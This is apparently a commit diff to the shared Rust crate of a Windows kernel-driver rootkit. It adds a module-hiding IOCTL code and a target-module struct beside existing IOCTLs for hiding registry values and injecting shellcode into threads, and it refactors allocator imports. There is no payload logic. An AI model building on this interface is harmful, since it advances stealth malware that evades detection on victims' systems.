Adding new features to the 'Module' and refactoring the code

shared/src/ioctls.rs

@@ -45,6 +45,7 @@ pub const IOCTL_HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, M
 
 // Module
 pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
+pub const IOCTL_HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS);
 
 // Injection
 pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);

shared/src/lib.rs

@@ -1,5 +1,7 @@
 #![no_std]
 
+extern crate alloc;
+
 pub mod ioctls;
 pub mod vars;
 pub mod structs;

shared/src/structs/callback.rs

@@ -1,4 +1,3 @@
-extern crate alloc;
 use crate::vars::Callbacks;
 
 // Callback Information for Enumeration (Output)

shared/src/structs/driver.rs

@@ -1,5 +1,3 @@
-extern crate alloc;
-
 use core::sync::atomic::AtomicPtr;
 use super::LIST_ENTRY;
 use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;

shared/src/structs/injection.rs

@@ -1,4 +1,4 @@
-extern crate alloc;
+
 
 pub struct TargetInjection {
     pub pid: usize,

shared/src/structs/module.rs

@@ -6,3 +6,11 @@ pub struct ModuleInfo {
     pub name: [u16; 256],
     pub index: u8,
 }
+
+// Enumerate Modules
+#[repr(C)]
+#[derive(Debug)]
+pub struct TargetModule {
+    pub pid: usize,
+    pub module_name: alloc::string::String,
+}

shared/src/structs/registry.rs

@@ -1,5 +1,3 @@
-extern crate alloc;
-
 // Stores the target registry
 #[repr(C)]
 #[derive(Debug, Default)]